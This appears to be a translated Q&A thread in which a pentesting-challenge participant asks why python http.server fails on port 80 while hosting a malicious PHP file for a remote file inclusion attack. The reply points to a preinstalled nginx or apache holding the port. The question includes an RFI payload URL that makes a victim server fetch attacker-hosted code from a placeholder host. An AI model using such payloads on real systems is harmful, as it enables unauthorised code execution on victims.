我正在做一个pentesting挑战,我在一台需要通过远程文件包含漏洞获得访问权限的机器上工作。过去,我可以通过在我的机器上包含一个恶意文件来获得一个webshell。我使用python http.server模块(sudo python3-m http.server 80(完成了这项工作,并且运行得非常好。然而,在第一次成功运行后,我再次尝试运行此命令,每次都会出现以下错误:
File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.7/http/server.py", line 1262, in <module>
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File "/usr/lib/python3.7/http/server.py", line 1230, in test
with ServerClass(server_address, HandlerClass) as httpd:
File "/usr/lib/python3.7/socketserver.py", line 452, in __init__
self.server_bind()
File "/usr/lib/python3.7/http/server.py", line 137, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.7/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
这个似乎告诉我已经有东西在使用端口80,但是当我关闭web浏览器,使用lsof-I:80检查,甚至重新启动我的机器时,它仍然无法工作。我还尝试通过其他端口包含该文件(http://VICTIMIP/path/to/file.php?vuln_param=http://MYIP:4444/path/to/evil/file.php)但这行不通。有人能就如何前进提出建议吗?要么是为什么http服务器永远不会在端口80上工作,要么是为什么RFI只能在端口80之上工作?在这一点上,我真的想不出还有什么可以尝试的了。
我猜您正在使用Kali Linux或类似的东西。它预装了apache/nginx,所以在使用python http服务器之前请尝试以下操作:
systemctl stop nginx
systemctl stop apache
(需要root用户(
端口显然正在使用中,所以如果安装了nginx或apache,它会有所帮助。